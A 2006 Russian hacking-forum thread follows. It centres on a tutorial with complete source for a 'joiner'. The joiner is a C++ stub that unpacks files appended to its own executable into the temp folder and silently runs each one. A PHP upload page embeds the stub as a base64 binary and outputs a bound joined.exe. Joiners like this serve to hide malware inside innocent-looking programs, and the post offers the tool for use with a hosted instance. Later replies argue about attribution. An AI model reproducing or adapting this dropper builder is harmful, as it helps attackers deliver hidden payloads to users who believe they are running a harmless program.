Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Принцип работы джойнеров на php. |

02.05.2006, 00:39
|
|
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме: 400609
Репутация:
239
|
|
Принцип работы джойнеров на php.
--->
Код:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Принцип работы джойнеров на php.
Author: drmist
Web: http://www.security-teams.net
Date: 02/05/06
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Как бы это меня не удивляло, при словах "джойнер на php" у многих возникают
эмоции типа "Вау! Как круто! Вот бы исходники посмотреть!" Цель данной статьи -
развеять все мифы о этих, с позволенья сказать, скриптах и показать, что они
не представляют из себя что-либо сверхестественное. Далее по тексту мы напишем
такой джойнер. Разобраться должен даже девятиклассник. Потребуются минимальные
знания php и навыки программирования на C++ под Windows.
Лишний раз напомню, что целью данной статьи не является написание мега-крутого
джойнера со сменными иконками, упаковками и крипторами в четыре слоя. Работать
с Pe-форматом нам тоже не придется (пожелеем девятиклассников :) ). Итак,
принци простой: Есть обычный исполняемый файл. Как известно, маздаю будет
глупоко чихать, если в его конец что-то дописать. Вот мы и допишим склеиваемые
фалы. За головой нашего джойнера будет следовать такая структура:
[Files Count (DWORD)]
[Buffer Size (DWORD)]
[File1 Size (DWORD)]
[File1 Content (Variable)]
[File2 Size (DWORD)]
[File2 Content (Variable)]
............. etc
Где Files Count - число склееных файлов (мы можем склеить их сколько угодно),
Buffer Size - размер буфера, который должен выделить под свои нужды джойнер
(фактически это поле равно размеру наибольшего из склеиваемых файлов).
Далее идет File Count записей Размер:Содержимое. Вот сурец джойнера:
#include "windows.h"
#pragma comment(linker, "/ALIGN:4096 /MERGE:.idata=.text /MERGE:.data=.text");
#pragma commant(linker, "/SECTION:.text,EWR");
#define SELF_SIZE 1536
void main()
{
char SelfName[MAX_PATH];
char CurrDir[MAX_PATH];
char TempPath[MAX_PATH];
char TempName[MAX_PATH];
HANDLE hReadFile;
HANDLE hWriteFile;
HANDLE hBuff;
DWORD JoinedCount;
DWORD BuffSize;
DWORD FileSize;
DWORD ddTemp;
int Unique;
GetCurrentDirectory(MAX_PATH, CurrDir);
GetTempPath(MAX_PATH, TempPath);
GetModuleFileName(GetModuleHandle(0), SelfName, MAX_PATH);
hReadFile = CreateFile(SelfName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, 0, NULL);
if(hReadFile != INVALID_HANDLE_VALUE)
if(GetFileSize(hReadFile, 0) > SELF_SIZE)
{
SetFilePointer(hReadFile, SELF_SIZE, 0, FILE_BEGIN);
ReadFile(hReadFile, &JoinedCount, sizeof(DWORD), &ddTemp, NULL);
ReadFile(hReadFile, &BuffSize, sizeof(DWORD), &ddTemp, NULL);
hBuff = GlobalAlloc(GMEM_FIXED, BuffSize);
Unique = GetTickCount();
while(JoinedCount > 0)
{
ReadFile(hReadFile, &FileSize, sizeof(DWORD), &ddTemp, NULL);
Unique++;
wsprintf(TempName, "%s%d.exe", TempPath, Unique);
hWriteFile = CreateFile(TempName, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, 0, NULL);
if(hWriteFile == INVALID_HANDLE_VALUE)
break;
ReadFile(hReadFile, hBuff, FileSize, &ddTemp, 0);
WriteFile(hWriteFile, hBuff, FileSize, &ddTemp, 0);
CloseHandle(hWriteFile);
WinExec(TempName, SW_SHOWNORMAL);
JoinedCount--;
}
GlobalFree(hBuff);
CloseHandle(hReadFile);
}
ExitProcess(0);
}
Я надеюсь, что этот код не нуждается в коментариях. Скажу только, что после
того, как программа будет собрана, нужно изменить в исходном коде SELF_SIZE
на размер бинарника и собрать его снова.
Теперь осталось состряпоть... кхе-кхе... GUI ). Код приведен ниже.
<?php
function print_int($i)
{
echo chr($i & 0xFF).chr(($i >> 8) & 0xFF).
chr(($i >> 16) & 0xFF).chr($i >> 24);
}
$file = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v".
"dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABGwbHZAqDfigKg34oCoN+K".
"AqDeihKg34pgv8yKB6Dfiuq/1IoAoN+KUmljaAKg34oAAAAAAAAAAAAAAAAAAAAA".
"UEUAAEwBAQC4ZVZEAAAAAAAAAADgAA8BCwEGAAAEAAAAAAAAAAAAAPARAAAAEAAA".
"ACAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAIAAAAAIAAAAAAAACAAAA".
"AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAMEAAAPAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkBAAAEgAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAudGV4dAAAAKADAAAAEAAAAAQAAAACAAAAAAAAAAAAAAAAAAAgAADg".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlcyVkLmV4ZQAAAABIEAAA".
"AAAAAAAAAADCEQAAkBAAAIgQAAAAAAAAAAAAANwRAADQEAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAADYEAAA5hAAAPQQAAD+EAAADBEAABgRAAAoEQAANhEAAEIRAABUEQAA".
"YhEAAHARAACGEQAAmhEAAKoRAAAAAAAA0BEAAAAAAADYEAAA5hAAAPQQAAD+EAAA".
"DBEAABgRAAAoEQAANhEAAEIRAABUEQAAYhEAAHARAACGEQAAmhEAAKoRAAAAAAAA".
"0BEAAAAAAAB9AEV4aXRQcm9jZXNzAIgBR2xvYmFsRnJlZQAA0wJXaW5FeGVjABsA".
"Q2xvc2VIYW5kbGUA3wJXcml0ZUZpbGUAbQFHZXRUaWNrQ291bnQAAIEBR2xvYmFs".
"QWxsb2MAGAJSZWFkRmlsZQAAagJTZXRGaWxlUG9pbnRlcgAAEgFHZXRGaWxlU2l6".
"ZQA0AENyZWF0ZUZpbGVBACQBR2V0TW9kdWxlRmlsZU5hbWVBAAAmAUdldE1vZHVs".
"ZUhhbmRsZUEAAGUBR2V0VGVtcFBhdGhBAAD1AEdldEN1cnJlbnREaXJlY3RvcnlB".
"AABLRVJORUwzMi5kbGwAAKwCd3NwcmludGZBAFVTRVIzMi5kbGwAAAAAAAAAAAAA".
"gewkBAAAjYQkIAMAAFdQaAQBAAD/FcgQQACNjCQgAgAAUWgEAQAA/xXEEEAAjZQk".
"HAEAAGgEAQAAUmoA/xXAEEAAUP8VvBBAAGoAagBqBGoAagGNhCQwAQAAaAAAAIBQ".
"/xW4EEAAi/iD//8PhCcBAABqAFf/FbQQQAA9AAYAAA+GEwEAAFNVagBqAGgABgAA".
"V/8VsBBAAIsdrBBAAI1MJAxqAFGNVCQYagRSV//TjUQkDGoAUI1MJCRqBFFX/9OL".
"VCQcUmoA/xWoEEAAiUQkFP8VpBBAAIvoi0QkEIXAD4agAAAAVo1EJBBqAFCNTCQk".
"agRRV//TRY2UJCwCAABVUo1EJCxoABBAAFD/FdAQQACDxBCNTCQkagBqAGoCagBq".
"AGgAAABAUf8VuBBAAIvwg/7/dE+LRCQci0wkGI1UJBBqAFJQUVf/04tEJByLTCQY".
"jVQkEGoAUlBRVv8VoBBAAFb/FZwQQACNVCQkagFS/xWYEEAAi0QkFEiJRCQUD4Vi".
"////XotEJBRQ/xWUEEAAV/8VnBBAAF1bagD/FZAQQABfgcQkBAAAw5CQkJCQkJCQ".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$file_size = 1536;
if(isset($_POST["files_count"]))
{
$count = $_POST["files_count"];
$size = $file_size + 8;
$max_size = 0;
$sizes = array();
for($i = 1; $i <= $count; $i++)
if(isset($_FILES["file$i"]))
{
$tmp = filesize($_FILES["file$i"]["tmp_name"]);
$sizes[$i] = $tmp;
if($tmp > $max_size)
$max_size = $tmp;
$size += $tmp + 4;
}
else
die("\$_FILES[\"file$i\"] is not set.");
header("Content-Transfer-Encoding: binary");
header("Content-type: application/x-download");
header("Content-Length: $size");
header("Content-Disposition: attachment; filename=\"joined.exe\"");
echo base64_decode($file);
print_int($count);
print_int($max_size);
for($i = 1; $i <= $count; $i++)
{
print_int($sizes[$i]);
readfile($_FILES["file$i"]["tmp_name"]);
}
}
else
{
$count = 0;
if(isset($_POST["new_files_count"]))
$count = intval($_POST["new_files_count"]);
if($count < 2)
$count = 2;
echo "<form method=post>Files Count: <input type=text ".
"name=new_files_count size=2 value=\"$count\">".
"<input type=submit value=\"Update\"></form><hr>".
"<form method=post enctype=multipart/form-data>".
"<input type=hidden name=files_count value=\"$count\">";
for($i = 1; $i <= $count; $i++)
echo "File $i: <input type=file name=\"file$i\"><br>";
echo "<input type=submit value=\"Join\"><hr><p align=right>".
"Simple PHPJoiner v 0.8 (c) drmist\STNC 2006 | <a href=\"http://".
"www.security-teams.net\">www.security-teams.net</a> | <a href=".
"\"http://drmist.ru\">drmist.ru</a>";
}
?>
Переменная $file содержит откомпилированный бинарник в base64. Получить
ее значение можно простым скриптом
<?php echo base64_encode(join("", file("joined.exe"))); ?>
Пирнцип работы скрипта на мой взгляд также не нуждается в пояснении.
Фактически это все, что я хотел сказать. Надеюсь среди читателей не найдутся те,
кто найдет в этом тексте что-то сложное. Могу только добавить, что на ... эм..
написание этого текста с приготовлением всех сорсов и тестированием у меня ушло
что-то в районе часа. Все желающие могут протестировать джойнер, зайдя по ссылке
http://drmist.ru/joiner/.
В качестве заключения напомню, что данная статья со всеми исходными кодами
является моей интелектуальной собственностью, потому если читателю захочется
где-то ее выложить, он должен оставить ссылку на САЙТ НАШЕЙ КОМАНДЫ:
http://www.security-teams.net. В противном случае, он не сможет избавится от
угрызения совести до последней секунды своего жалкого существования :).
Кроме того, автор не несет ответственности за чужие действия в том случае,
если материал даннгой статьи будет использован в противозаконных целях.
Вся информация дана в ознакомительных целях.
(c) drmist 2006, специально для antichat.ru
<----
__________________
Никому нельзя верить...
Последний раз редактировалось drmist; 02.05.2006 в 00:51..
|
|
|

02.05.2006, 01:19
|
|
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме: 13936387
Репутация:
1844
|
|
Если статья специально для античат.ру, то тогда зачем оставлять ссылку на секъюрити теам? А в общем статейка познавательная...
Последний раз редактировалось dinar_007; 02.05.2006 в 09:56..
Причина: Надо =)
|
|
|

02.05.2006, 06:53
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
Если стать специально для античат.ру, то тогда зачем оставлять ссылку на секъюрити теам?
а зачем ты в подписи про русхак пишешь, хотя сейчас на античате сидишь? Умник блин.
|
|
|

02.05.2006, 09:53
|
|
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме: 13936387
Репутация:
1844
|
|
Это разные вещи... Если статья специально для ачата, то как - бы автор написал её для ачата => она пренадлежит ачату, а не другому сайту... Значит в копирайтах по сути должна быть ссылка на ачат, т.к. он первоисточник... Ну или ник автора... Или и то, и другое...
|
|
|

02.05.2006, 10:18
|
|
Super Moderator
Регистрация: 08.11.2004
Сообщений: 3,395
Провел на форуме: 13166814
Репутация:
3876
|
|
А drmist и не писал что статья специально для античата.
|
|
|

02.05.2006, 10:40
|
|
Флудер
Регистрация: 18.01.2005
Сообщений: 2,298
Провел на форуме: 13936387
Репутация:
1844
|
|
А в самом низу статьи что написано? =)
|
|
|

02.05.2006, 10:49
|
|
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме: 1730553
Репутация:
319
|
|
(c) drmist 2006, специально для antichat.ru
И нашим и ... 
|
|
|

02.05.2006, 12:00
|
|
Умиротворенн
Регистрация: 09.12.2004
Сообщений: 996
Провел на форуме: 2386719
Репутация:
1384
|
|
Мда, хочется конечно сделать что-то новое, чего до тебя не делали, но мне кажется это уже перебор, особого смысла не вижу в таком джойнере, если его так можно назвать.
Отличный повод написать сайт на асме (c)nerezus.
__________________
http://madnet.name - madnet - blog | homepage (Мысли, релизы, скрипты, софт)
http://antichat.ru - Лучший сайт по безопасности
irc.antichat.ru:7771 #antichat - общение online
ГАРАНТ ФОРУМА
|
|
|

02.05.2006, 13:10
|
|
Green member - Level 3
Регистрация: 08.10.2005
Сообщений: 396
Провел на форуме: 400609
Репутация:
239
|
|
dinar_007
Если статья специально для античат.ру, то тогда зачем оставлять ссылку на секъюрити теам?
Ниужто из-за естественного желания привлечь внимание общественности к сайту родной тимы?
Несмотря на то, что статья ДЛЯ ачата, она ОТ сектима. И вобще моя статья - как захочу так и требую )). Все равно найдется кто-то, кто об этом забудет.
Отличный повод написать сайт на асме (c)nerezus.
)))))
__________________
Никому нельзя верить...
|
|
|

02.05.2006, 14:10
|
|
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме: 941818
Репутация:
569
|
|
Отличный повод написать сайт на асме (c)nerezus.
Вполне реально. Пишем на асме сокеты, отдаем сокету html код. Все.
Думаю, что подобные проэкты уже есть
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|